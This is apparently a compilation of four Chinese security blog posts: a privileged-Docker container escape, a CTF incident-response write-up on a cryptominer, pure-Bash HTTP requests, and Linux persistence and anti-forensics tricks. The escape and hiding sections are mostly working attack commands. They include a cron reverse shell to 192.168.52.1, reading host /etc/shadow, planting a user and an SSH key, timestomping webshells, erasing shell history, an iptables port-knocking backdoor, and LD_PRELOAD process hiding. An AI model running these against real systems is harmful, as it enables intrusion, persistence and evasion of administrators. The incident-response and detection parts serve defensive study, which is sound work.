AI 摘要（由 ChatGPT 总结生成）：文章介绍了在Docker中使用Privileged特权模式启动容器，并通过演示展示了容器逃逸的三种方法。第一种方法是通过挂载磁盘设备，访问宿主机文件，并在定时任务中写入反弹Shell。第二种方法使用chroot命令切根，创建登陆用户，实现对宿主机的访问。第三种方法通过写入SSH公私钥实现无密码登录。文章强调了使用特权模式运行容器时需要谨慎，并提醒读者在非必要情况下避免使用特权模式。前言在一次对被黑客入侵的服务器进行相关排查，根据相关排查发现在宿主机上不仅存在“挖矿”进程运行，在 Docker 容器内也存在挖矿进程运行，排查时发现 Docker 容器使用了 Privileged 特权模式启动，遂本文就根据此情形简单写一篇关于 Privileged 特权模式下的容器逃逸。Privileged 特权启动容器如果容器在启动时添加了 --privileged 参数则会具备全部 Capabilities ，容器可以访问主机所有 device 以及具有 mount 操作的权限，还包括禁用 Seccomp 和 AppArmor 等安全机制。所以，特权容器几乎拥有所有设备的访问权限，可以通过一些设置来达到从容器内部和从外部访问相同的效果。例如我们可以基于该特权模式实现 Docker run in Docker ，其相关文章可参考：docker-can-now-run-within-docker注：本文在个人虚拟机中演示，虚拟机系统为 CentOS 7 ，不同 Linux 系统可能部分命令操作不太一样，但原理相同，下面开始实战演示。容器启动首先使用 Privileged 特权模式创建并启动一个容器：docker run --rm -it --privileged=true alpine:latest权限检测在容器内部执行下面的命令，重点看下特权容器中获取的 Cap 集合，从而判断容器是不是特权模式，如果是以特权模式启动的话，其 CapEff 对应的掩码值应该为 0000003fffffffff 或是 0000001fffffffff ，如下：/ # cat /proc/self/status | grep Cap CapInh: 0000000000000000 CapPrm: 0000001fffffffff CapEff: 0000001fffffffff CapBnd: 0000001fffffffff CapAmb: 0000000000000000 / # CapEff 主要是检查线程的执行权限，可以在装有 Docker 的机器上执行命令 capsh --decode=0000001fffffffff 进行解码，并根据该文章特权容器判断相关权限集合。逃逸复现方法一查看挂载磁盘设备：/ # fdisk -l Disk /dev/sda: 60 GB, 64424509440 bytes, 125829120 sectors 7832 cylinders, 255 heads, 63 sectors/track Units: sectors of 1 * 512 = 512 bytes Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type /dev/sda1 * 0,32,33 130,170,40 2048 2099199 2097152 1024M 83 Linux /dev/sda2 130,170,41 1023,254,63 2099200 41943039 39843840 18.9G 8e Linux LVM /dev/sda3 562,212,35 844,63,51 41943040 62914559 20971520 10.0G 8e Linux LVM /dev/sda4 844,63,52 664,127,39 62914560 125829119 62914560 30.0G 8e Linux LVM Disk /dev/dm-0: 57 GB, 61190701056 bytes, 119513088 sectors 7439 cylinders, 255 heads, 63 sectors/track Units: sectors of 1 * 512 = 512 bytes Disk /dev/dm-0 doesn't contain a valid partition table Disk /dev/dm-1: 2048 MB, 2147483648 bytes, 4194304 sectors 261 cylinders, 255 heads, 63 sectors/track Units: sectors of 1 * 512 = 512 bytes Disk /dev/dm-1 doesn't contain a valid partition table / # 将宿主机文件挂载到 /mnt 目录下：mount /dev/dm-0 /mnt尝试访问宿主机 /etc/shadow 文件，可以看到正常访问：/ # cat /mnt/etc/shadow root:$6$xx$axxxxxxxx:18966:0:99999:7::: bin:*:18353:0:99999:7::: daemon:*:18353:0:99999:7::: ……那么也可以在定时任务中写入反弹 Shell：/ # echo "*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.52.1/2023 0>&1" > /mnt/var/spool/cron/root等待约 1 分钟，即可收到宿主机的反弹 Shell ，如图：取消宿主机文件挂载：umount /mnt方法二该方法可利用 chroot 命令进行切根，并创建一个登陆用户，从而使用新增用户登录系统，命令如下：# 挂载宿主机文件 / # mount /dev/dm-0 /mnt / # # chroot 切根 / # chroot /mnt [root@3209e48fe515 /]# # 添加 test 用户 [root@3209e48fe515 /]# useradd test [root@3209e48fe515 /]# # 给 test 用户设置密码：test [root@3209e48fe515 /]# echo "test" | passwd test --stdin Changing password for user test. passwd: all authentication tokens updated successfully. [root@3209e48fe515 /]#下面即可使用 ssh 对宿主机进行链接，如下图：退出 chroot 环境并取消宿主机文件挂载：[root@3209e48fe515 /]# exit exit / # umount /mnt / # 方法三此方法主要是写入 SSH 公私钥的方式实现无密码登录，操作命令如下：# 容器内的用户为 root / # whoami root # 挂载宿主机文件到容器内 / # mount /dev/dm-0 /mnt # 宿主机存在 authorized_keys 文件 / # ls /mnt/root/.ssh/ authorized_keys known_hosts # 写入 SSH 公钥到 root 用户的 authorized_keys 文件中 / # echo "ssh-rsa AAAAB3NxxxxxxxxxSc= kali@kali" >> /mnt/root/.ssh/authorized_keys / #下面使用 SSH 私钥对其进行用户登录，如图：小结此处仅说明了 Docker 容器下启用 Privileged 特权模式容器逃逸的部分方法，还有例如通过访问主机上的 Docker 套接字（通常是 /var/run/docker.sock ）来与 Docker 守护程序进行通信，从而执行 Docker 操作等以及其它的方法。一个容器若使用了特权模式，那么它将会以很高的权限运行，所以非必要情况不要对容器使用特权模式运行，即使使用，也要做好相关安全措施。
AI 摘要（由 ChatGPT 总结生成）：在2023年陇剑杯中，一名安全运营工程师接到通报，公司的网络出口存在请求挖矿域名的行为，需要立即整改。通过合作和调查，发现内网IP 10.221.36.21（运行工时系统）存在异常。进一步分析虚拟机发现redis服务被篡改用于挖矿，挖矿程序路径为`/etc/redis/redis-server`。攻击者利用Shiro反序列化漏洞入侵服务器，通过nginx反向代理访问。攻击者IP为81.70.166.3，使用User-Agent伪装为百度蜘蛛。权限维持方式包括SSH公钥登录和修改redis服务配置以保持挖矿程序运行。2023 陇剑杯-IR简介：你是公司的一名安全运营工程师，今日接到外部监管部门通报，你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合，你们定位到了请求挖矿域名的内网 IP 是 10.221.36.21 。查询 CMDB 后得知该 IP 运行了公司的工时系统。（虚拟机账号密码为：root/IncidentResponsePasswd）题目链接：https://pan.baidu.com/wap/init?surl=c4q7KwsRxTYO5SEkm2gqJg提取码：GAME解压密码：f0b1ba11478343f404666c355919de3fIncidentResponse_1题目：挖矿程序路径是？运行虚拟机，root 账户登录机器，ps 命令浏览一下进程列表，发现存在 redis 、 nginx 、以及 java 服务等，然后查看一下 history 历史命令，以及用户家目录下的 .viminfo 文件，发现 vim 命令修改了一些可疑的文件，其中大量修改了 redis 启动配置文件 /lib/systemd/system/redis.service ，如下图：接着使用 systemctl 命令查看相关 redis 服务，并了解到 redis 启动的配置文件为 /etc/redis/redis.conf ，如下图：查看 /etc/redis/redis.conf 文件，发现可疑痕迹，如下图：使用 Google 对上述地址搜索，发现该地址是一个挖矿地址：所以基本可判断挖矿程序是 redis-server ：kali@kali:~$ echo -n '/etc/redis/redis-server' | md5sum | cut -d' ' -f1 6f72038a870f05cbf923633066e48881 kali@kali:~$IncidentResponse_2题目：挖矿程序连接的矿池域名是？根据上题分析已得到域名，如下：kali@kali:~$ echo -n 'donate.v2.xmrig.com' | md5sum | cut -d' ' -f1 3fca20bb92d0ed67714e68704a0a4503 kali@kali:~$ IncidentResponse_3题目：攻击者入侵服务器利用的方法是？首先根据 ps 了解到存在 nginx 、 java 进程服务，我们先看下 java 服务程序的启动命令及路径：发现存在 nohup.log 日志文件，遂分析一下，发现存在大量 shiro 框架的告警信息：故可能为 Shiro反序列化 漏洞攻击：kali@kali:~$ echo -n 'shirodeserialization' | md5sum | cut -d' ' -f1 3ee726cb32f87a15d22fe55fa04c4dcd kali@kali:~$ IncidentResponse_4题目：攻击者的 IP 是？根据上述 nohup.log 日志得出攻击者使用的是 shiro反序列化 漏洞从而导致服务器失陷，那么可能存在暴露 web 相关服务，遂查看 java 服务监听的端口，可发现 java 服务监听的端口为 8080 ，监听地址为 127.0.0.1 的回环地址：由于回环地址使得外部不可访，那么再次猜测可能使用了 nginx 对 web 服务进行了反向代理，遂再去查看 nginx 的服务器配置，可发现并确认 nginx 反向代理了 java 服务的流量：再查看 nginx 服务的 web 日志配置，可发现 access 日志与 error 日志配置如下：然后查询 /var/log/nginx/access.log 日志，可发现攻击者 IP 如下图：攻击者 IP 如下：kali@kali:~$ echo -n '81.70.166.3' | md5sum | cut -d' ' -f1 c76b4b1a5e8c9e7751af4684c6a8b2c9 kali@kali:~$ IncidentResponse_5题目：攻击者发起攻击时使用的 User-Agent 是？此处可浏览 nginx 日志发现攻击者存在多个 User-Agent 标头，经测试为“百度蜘蛛”的 User-Agent 标头：kali@kali:~$ echo -n 'mozilla/5.0(compatible;baiduspider/2.0;+http://www.baidu.com/search/spider.html)' | md5sum | cut -d' ' -f1 6ba8458f11f4044cce7a621c085bb3c6 kali@kali:~$ IncidentResponse_6题目：攻击者使用了两种权限维持手段，相应的配置文件路径是？（md5 加密后以 a 开头）继续浏览 .bash_history 与 .viminfo 文件，发现 /etc/ssh/sshd_config 文件被编辑，以及 ssh 服务被重启，猜测可能修改了配置文件，开启了 ssh 的密钥对的方式登录 ：遂查看 ~/.ssh/ 目录，发现 authorized_keys 不为空，且存在一份 id_rsa.pub 公钥样本：所以，攻击者使用了 ssh 公私钥方式登录以权限维持：kali@kali:~$ echo -n '/root/.ssh/authorized_keys' | md5sum | cut -d' ' -f1 a1fa1b5aeb1f97340032971c342c4258 kali@kali:~$ IncidentResponse_7题目：攻击者使用了两种权限维持手段，相应的配置文件路径是？（md5 加密后以 b 开头）这个就回到上述的题的分析去了，由 IncidentResponse_1 得出攻击者修改了自定义的 redis 挖矿程序的启动项，以用于挖矿程序的开机自启，并且在配置文件中设置了程序启动或运行失败后总是重启服务，以便于不断维持服务的运行，如下图：所以权限维持文件路径：kali@kali:~$ echo -n '/lib/systemd/system/redis.service' | md5sum | cut -d' ' -f1 b2c5af8ce08753894540331e5a947d35 kali@kali:~$ 小结今年陇剑杯并未参赛，但还是关注了一下，分析了一下题，发现其余的题基本都涉及分析流量（不一一玩了），而这题是直接在 Linux 虚拟机上操作，题目也类似应急响应排查，遂单独拿出来玩了一下。也不得不说今年的陇剑杯题目质量确实比较好，贴合实际。
AI 摘要（由 ChatGPT 总结生成）：这篇文章介绍了如何使用纯 Bash 模拟 HTTP 请求。作者首先讨论了通过反弹 Shell 获取主机控制权的情况，并展示了使用 `/dev/tcp` 特性进行网络套接字通信的方式。随后，作者详细解释了如何利用这一特性模拟 HTTP 请求，包括构建简单的 HTTP 请求标头以及使用文件描述符发送请求体部分数据。文章最后展示了一种纯 Bash 的模拟 HTTPS 请求的方法，通过借助 `openssl` 命令实现了对 HTTPS 服务的请求。整体而言，文章深入浅出地介绍了纯 Bash 下模拟网络请求的实现方法。前言近期也是从反弹 Shell 的一个命令深入思考了一些东西，在日常我们通过某 RCE 拿到一台主机，往往会反弹一个 Shell 到你的远程机器上，命令可能如下：/bin/bash -i >& /dev/tcp/192.168.0.10/2023 0>&1而上述的 /dev/tcp 则是 Bash shell 中的一个特殊特性，它允许你通过简单地使用文件 I/O 来进行网络套接字通信。同样的还有 /dev/udp 这个基于 UDP 协议通信方式。注意：/dev/tcp 这不是 POSIX 标准的一部分，并不是所有 Shell 都支持这个功能！若使用该特性，终端环境 SHELL 得是 Bash。基于这个特性，接下来自己便联想了一下可不可以利用这个特性实现类似如 curl、wget 方式的 HTTP 请求呢？玩的就是真实，下面开始鼓捣。模拟 HTTP 请求此处就拿自己一个已部署的服务来简单测试，并进入服务器观察相关 WEB 日志，以便进一步判断请求。对基于 80 端口的 HTTP 服务的模拟，下面先模拟一个简单的 HTTP 标头，命令如下：[root@localhost ~]# echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" GET / HTTP/1.1 Host: example.com User-agent: curl/8.0.1 Connection: close [root@localhost ~]# 接下来，就是利用上述特性将内容发送到 /dev/tcp 套接字文件中去。此时如果我们直接利用重定向符号将上述内容发送到套接字文件中去，则只是将 HTTP 请求标头信息发送到了服务器，此刻数据发完套接字就结束了链接，并没有将 HTTP 请求中的实际数据部分请求体发送到远端服务器，所以远端服务器可能会返回不完整的响应或错误响应。举个栗子吧：[root@localhost ~]# echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" > /dev/tcp/example.com/80 [root@localhost ~]# 可以看到什么都没显示，那么该怎么解决请求体部分数据呢？其实在这里我们可以借助一个文件描述符解决，涉及步骤命令如下：1、开启一个可读写的文件描述符 3 并与指定的文件或设备文件关联，这样我们可以使用这个文件描述符来读取或写入数据到这个套接字连接：[root@localhost ~]# exec 3<>/dev/tcp/example.com/802、将上述的 HTTP 标头请求信息发送到文件描述符 3 ，如下：[root@localhost ~]# echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" >&33、然后再从文件描述符 3 中获取数据，即可发现成功请求了，HTTP 服务成功返回数据：[root@localhost ~]# cat <&3 HTTP/1.1 200 OK Date: Tue, 25 Jul 2023 06:06:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: Oh, Your idea is dangerous! Server: nginx/9.99.99 Cache-Control: no-cache X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Access-Control-Allow-Methods: * Access-Control-Max-Age: 3600 Access-Control-Allow-Credentials: true a 36.33.5.3 0 [root@localhost ~]# 这里需要注意的一点就是，在 HTTP 服务未返回数据前，套接字文件不能够与远端 HTTP 服务提前断开链接，否则可能返回不完整的响应或错误响应。上述命令可以简化成一行，如下：exec 3<> /dev/tcp/example.com/80; echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" >&3; cat <&3上述命令使用到了自定义文件描述符 3 ，那有没有一种方法不使用自己定义的描述符，只用 Linux 自带的三个描述符呢？答案是有的。纯 Bash 模拟请求此处自己也在一番摸索测试后，捣鼓出了一个只依赖三个描述符的命令，如下：( echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n"; cat >&2 ) > /dev/tcp/example.com/80 <&1命令效果如下：[root@localhost ~]# ( echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n"; cat >&2 ) > /dev/tcp/example.com/80 <&1 HTTP/1.1 200 OK Date: Tue, 25 Jul 2023 07:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: Oh, Your idea is dangerous! Server: nginx/9.99.99 Cache-Control: no-cache X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Access-Control-Allow-Methods: * Access-Control-Max-Age: 3600 Access-Control-Allow-Credentials: true a 36.33.5.3 0 [root@localhost ~]# 可以发现此处只用到了错误输出描述符 2 和标准输出描述符 1 ，却也达到了同样效果。命令分析上述命令简单拆分分析一下：( …… ) ： 这是一个命令组，将其中的命令作为一个单元执行。echo "……\r\n\r\n" ：这部分使用 echo 命令来输出一个 HTTP 请求头，并要求在请求完成后关闭连接。cat >&2 ：这部分将标准输入重定向到标准错误输出，即将后续的输入内容发送到标准错误流中（此处的 cat 命令也可使用 head 、tail 、more 、less 等命令替代）。> /dev/tcp/example.com/80 ：这部分将前面整个命令组的输出重定向到 /dev/tcp 套接字中。<&1 ：这部分将标准输入重定向到标准输出，即将输入从标准输入流中复制到标准输出流中，这样它就会在命令组中被 cat >&2 接收。总之，这个命令的目的是通过纯 Bash 代码模拟一个简单的 HTTP GET 请求，将请求头发送到指定的主机和端口，并将响应从标准输入输出流通过标准错误流和 /dev/tcp 设备文件传输。输出的数据，在 HTTP 标头与 Response Body 之间存在字母 a ，在请求数据结尾还会有个 0 ，这是因为此处的 a 表示一个 chunked 编码的响应。在 chunked 编码中，每一块（chunk） 数据前面会有该 chunk 的数据长度（以十六进制表示），此时 a 表示该 chunk 的长度为 10 个字节。而最后的 0 表示这个响应结束了，不再有更多 chunks 。在 chunked 编码中，0 表示后面不会有更多数据，cat 命令从标准输出读取完数据即结束了整个流程。模拟 HTTPS 请求上述基于 Bash 基本实现了一个 HTTP 请求，由于 HTTPS 涉及到 SSL/TLS 加密以及相关证书，故纯 Bash 则不能够完成任务了，若要完成，需借助 openssl 命令辅助了，此处仅列出一个测试命令，如下：[root@localhost ~]# echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" | openssl s_client -connect example.com:443 -quiet depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority verify return:1 depth=1 C = AT, O = ZeroSSL, CN = ZeroSSL RSA Domain Secure Site CA verify return:1 depth=0 CN = 1.12.xx.1 verify return:1 HTTP/1.1 200 OK Date: Tue, 25 Jul 2023 13:50:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: Oh, Your idea is dangerous! Server: nginx/9.99.99 Cache-Control: no-cache X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Access-Control-Allow-Methods: * Access-Control-Max-Age: 3600 Access-Control-Allow-Credentials: true a 36.33.5.3 0 [root@localhost ~]#该文为后续脚本实现：[post cid="1577" /]
AI 摘要（由 ChatGPT 总结生成）：文章总结了在Linux系统下进行权限维持的隐藏技术，包括隐藏文件、隐藏文件时间戳、隐藏权限、隐藏历史操作命令、隐藏远程SSH登陆记录、端口复用以及进程隐藏等。通过创建隐藏文件、修改文件时间戳、使用chattr命令隐藏权限、关闭历史记录、远程SSH登陆记录、端口复用等手段，攻击者能够更有效地保持其在受攻击主机上的存在。文章还介绍了一些工具和方法，如libprocesshider和linux-inject，用于实现进程隐藏和注入。前言最近对某台受攻击的主机进行了攻击手段排查（已被入侵），有感而发，故在事后总结该文。攻击者往往在获取服务器权限后，会通过一些技巧来隐藏自己的踪迹和后门文件，本文介绍 Linux 下的几种隐藏技术。隐藏文件Linux 下创建一个隐藏文件，如：touch .test.txttouch 命令可以创建一个文件，文件名前面加一个 点 就代表是隐藏文件，如下：kali@kali:~/tmpdir$ touch .test.txt kali@kali:~/tmpdir$ ls -l 总计 4 -rw-r--r-- 1 kali kali 4 6月 2日 21:29 username.txt kali@kali:~/tmpdir$ ls -al 总计 12 drwxr-xr-x 2 kali kali 4096 6月 2日 21:29 . drwxr-xr-x 26 kali kali 4096 6月 2日 21:28 .. -rw-r--r-- 1 kali kali 0 6月 2日 21:29 .test.txt -rw-r--r-- 1 kali kali 4 6月 2日 21:29 username.txt kali@kali:~/tmpdir$ 此时，一般的 Linux 下的隐藏目录使用命令 ls -l 是查看不出来的，只能查看到文件及文件夹，查看 Linux 下的隐藏文件需要用到命令：ls -al 而对于任何用户都可写的 /tmp 下，会默认存在多个隐藏目录，这些目录是恶意文件常用来藏身的地方，如/temp/.ICE-unix/ 、/temp/.Test-unix/ 、/temp/.X11-unix/ 、/temp/.XIM-unix/ 等。隐藏文件时间戳此方法也是我藏文件经常用到的小技巧，在 Unix 下藏后门将文件的时间给修改，否则很容易被发现，这里直接利用 touch 命令即可。比如参考同目录下某个文件的时间，再赋给后门文件 webshell ，此时两个文件的时间就一样了。利用方法如下：touch -r [某文件] [webshell]或者直接将时间戳修改成某年某月某日，如下为 2023 年 06 月 02 日：touch -t 2306022139.30 webshell参考如图所示：隐藏权限在 Linux 中，使用 chattr 命令来防止 root 和其他管理用户误删除和修改重要文件及目录，此权限用 ls -l 是查看不出来的，从而达到隐藏权限的目的。这个技巧也常被用在后门，变成了一些难以清除的后门文件，个人也在分析挖矿木马文件时遇到过挖矿木马使用了此用法，此方法也往往对新手来说感到头疼，下面就直接命令演示一下：kali@kali:~/tmpdir$ rm -f test.txt kali@kali:~/tmpdir$ touch test.txt kali@kali:~/tmpdir$ sudo chattr +ai test.txt kali@kali:~/tmpdir$ sudo rm -f test.txt rm: 无法删除 'test.txt': 不允许的操作 kali@kali:~/tmpdir$ ls -al 总计 12 drwxr-xr-x 2 kali kali 4096 6月 2日 21:46 . drwxr-xr-x 26 kali kali 4096 6月 2日 21:28 .. -rw-r--r-- 1 kali kali 0 6月 2日 21:46 test.txt -rw-r--r-- 1 kali kali 4 6月 2日 21:29 username.txt kali@kali:~/tmpdir$ lsattr test.txt username.txt ----ia--------e------- test.txt --------------e------- username.txt kali@kali:~/tmpdir$ sudo chattr -ai test.txt kali@kali:~/tmpdir$ sudo rm -f test.txt kali@kali:~/tmpdir$ ls -al 总计 12 drwxr-xr-x 2 kali kali 4096 6月 2日 21:47 . drwxr-xr-x 26 kali kali 4096 6月 2日 21:28 .. -rw-r--r-- 1 kali kali 4 6月 2日 21:29 username.txt kali@kali:~/tmpdir$ chattr 命令可参考该文章：https://linux.isisy.com/c/chattr.html隐藏历史操作命令在 shell 中执行的命令，不希望被记录在命令行历史中，那么如何关闭命令历史记录呢？只针对你的工作关闭历史记录[space]set +o history 注：[space] 表示空格。并且由于空格的缘故，该命令本身也不会被记录。上面的命令会临时禁用历史功能，这意味着在这命令之后你执行的所有操作都不会记录到历史中，然而这个命令之前的所有东西都会原样记录在历史列表中。要重新开启历史功能，执行下面的命令，它将恢复原环境，也就是你完成了你的工作，执行下述命令之后，后续你的命令都会出现在历史中了：[space]set -o history从历史记录中删除指定的命令假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办？很简单。通过下面的命令来删除：根据“keyword”关键字检索历史命令：history | grep "keyword"输出历史记录中匹配的命令，每一条前面会有个数字。从历史记录中删除那个指定的项：history -d [num]这种技巧是关键记录删除，或者我们可以暴力点，比如前 150 行是用户的正常操作记录，150 行以后是攻击者操作记录。我们可以只保留正常的操作，删除攻击痕迹的历史操作记录，这里，我们只保留前 150 行：sed -i '150,$d' .bash_historyhistory 命令可参考该文章：https://linux.isisy.com/c/history.html隐藏远程SSH登陆记录隐身登录系统，不会被 w 、who 、last 等指令检测到，因为该登录方式不分配伪终端！故而也会被称做——幽灵登录：ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i不记录 ssh 公钥在本地 .ssh 目录中ssh -o UserKnownHostsFile=/dev/null -T user@xxx.xxx.xxx.xxx /bin/bash –i端口复用通过端口复用来达到隐藏端口的目的，在 Linux 下，如何实现端口复用呢？通过 SSLH 在同一端口上共享 SSH 与 HTTPS先安装 SSLH ：# Debian系系统安装命令： sudo apt-get install sslh # 在 RHEL、CentOS 上，你需要添加 EPEL 存储库，然后安装 SSLH： sudo yum install epel-release sudo yum install sslh然后编辑配置文件，若有 Run 参数则将 Run=no 修改为 Run=yes 以及修改相关监听设置，如下：kali@kali:~/tmpdir$ sudo vim /etc/default/sslh kali@kali:~/tmpdir$ cat /etc/default/sslh # Default options for sslh initscript # sourced by /etc/init.d/sslh # binary to use: forked (sslh) or single-thread (sslh-select) version # systemd users: don't forget to modify /lib/systemd/system/sslh.service DAEMON=/usr/sbin/sslh DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid" kali@kali:~/tmpdir$ 上述命令参数说明：–user sslh ：要求在这个特定的用户身份下运行。–listen 0.0.0.0:443 ：SSLH 监听于所有可用接口的 443 端口。–ssh 127.0.0.1:22 ：将 SSH 流量路由到本地的 22 端口。–ssl 127.0.0.1:443 ：将 HTTPS/SSL 流量路由到本地的 443 端口。然后启动程序，此时即可通过 443 端口连接 ssh 服务，如图所示：利用 IPTables 进行端口复用使用前先开启系统的转发功能，临时开启命令如下： sysctl -w net.ipv4.ip_forward=1 相关命令如下，命令按序执行：1、先创建一个端口复用链子 LETMEIN ：iptables -t nat -N LETMEIN2、创建一个端口复用规则，用于将主机接收的相关端口的流量转发至 22 端口：iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 223、设置一个开启开关，当接收到一个含有"secretDoorOpen"的 TCP 包，则将来源 IP 添加到 LETMEIN 的列表中：iptables -A INPUT -p tcp -m string --string 'secretDoorOpen' --algo bm -m recent --set --name letmein --rsource -j ACCEPT4、设置一个关闭开关，当接收到一个含有"trapDoorClosed"的 TCP 包，则将来源 IP 从 LETMEIN 的列表中移除：iptables -A INPUT -p tcp -m string --string 'trapDoorClosed' --algo bm -m recent --name letmein --remove -j ACCEPT5、当发现 SYN 包的来源 IP 处于 LETMEIN 的列表中，将跳转到 LETMEIN 链进行处理，有效时间为 3600 秒：iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN利用方式如下：# 开启复用，此处使用 nc 命令演示，也可使用 socat、telnet 等命令 echo 'secretDoorOpen' | nc 192.168.17.121 80 # ssh 使用 80 端口进行登录 ssh -p 80 root@192.168.17.121 # 关闭复用 echo 'trapDoorClosed' | nc 192.168.17.121 80演示如图 cmd 窗口：当然，如果上述 TCP 操控不可行，但对应主机可 Ping 的话，那么也可以使用 ICMP 协议操控，将上述的第3、4步修改为如下，其余步骤不变：# 开启开关，如果接收到一个长为 1028 的 ICMP 包，则将来源 IP 添加到加为 letmein 的列表中 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1028 -m recent --set --name letmein --rsource -j ACCEPT# 关闭开关，如果接收到一个长为 1029 的 ICMP 包，则将来源 IP 从 letmein 列表中去掉 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1029 -m recent --name letmein --remove -j ACCEPT操控如下：# 开启复用，向目标发送一个长度为 1000 的 ICMP 数据包（加上包头28，总长度实际为1028） ping -c 1 -s 1000 xxx.xxx.xxx.xxx # 关闭复用，向目标发送一个长度为 1001 的 ICMP 数据包（加上包头 28，总长度实际为 1029） ping -c 1 -s 1001 xxx.xxx.xxx.xxx进程隐藏隐藏应用进程，使得管理员无法通过相关命令工具查找到你运行的进程，从而达到隐藏目的（工具挺多的，下述仅供参考学习）。使用 libprocesshiderGithub 项目地址：https://github.com/gianlucaborello/libprocesshider利用 LD_PRELOAD 来实现系统函数的劫持，实现如下：# 克隆程序到本地 git clone https://github.com/gianlucaborello/libprocesshider # 编译程序 cd libprocesshider/ && make # 移动文件到/usr/local/lib/目录下 cp libprocesshider.so /usr/local/lib/ # 把它加载到全局动态连接局 echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload测试运行该目录下的 evil_script.py 文件，就会发现 cpu 使用率高，使用 top 与 ps 命令都无法找到 evil_script.py ，但是却找不到相关文件。经过上述的操作，相关进程隐藏了，那么我们如何在 Linux 中发现隐藏的进程？此时推荐一款工具：unhide ，它是一个小巧的网络取证工具，能够发现那些借助 rootkit ，LKM 及其它技术隐藏的进程和 TCP / UDP 端口。这个工具在 Linux，UNIX 类，MS-Windows 等操作系统下都可以工作。工具下载地址：http://www.unhide-forensics.info/RH 系系统安装如下# 安装 sudo yum install unhide # 使用 unhide [options] test_list例如使用（此处系统中无隐藏进程）：unhide proc[root@localhost ~]# unhide proc Unhide 20130526 Copyright © 2013 Yago Jesus & Patrick Gouin License GPLv3+ : GNU GPL version 3 or later http://www.unhide-forensics.info NOTE : This version of unhide is for systems using Linux >= 2.6 Used options: [*]Searching for Hidden processes through /proc stat scanning [root@localhost ~]# 进程注入工具 linux-injectlinux-inject 是用于将共享对象注入 Linux 进程的工具。Github 项目地址： https://github.com/gaffe23/linux-inject# 克隆程序到本地 git clone https://github.com/gaffe23/linux-inject # 编译 cd linux-inject && make # 测试进程 ./sample-target # 进程注入 ./inject -n sample-target sample-library.so验证进程注入成功，如下图所示：结语本文主要介绍了 Linux 下的几种隐藏技术，包括隐藏文件、隐藏权限、隐藏历史操作命令、端口复用、进程隐藏等方面的技巧。也是近期的一个知识总结吧。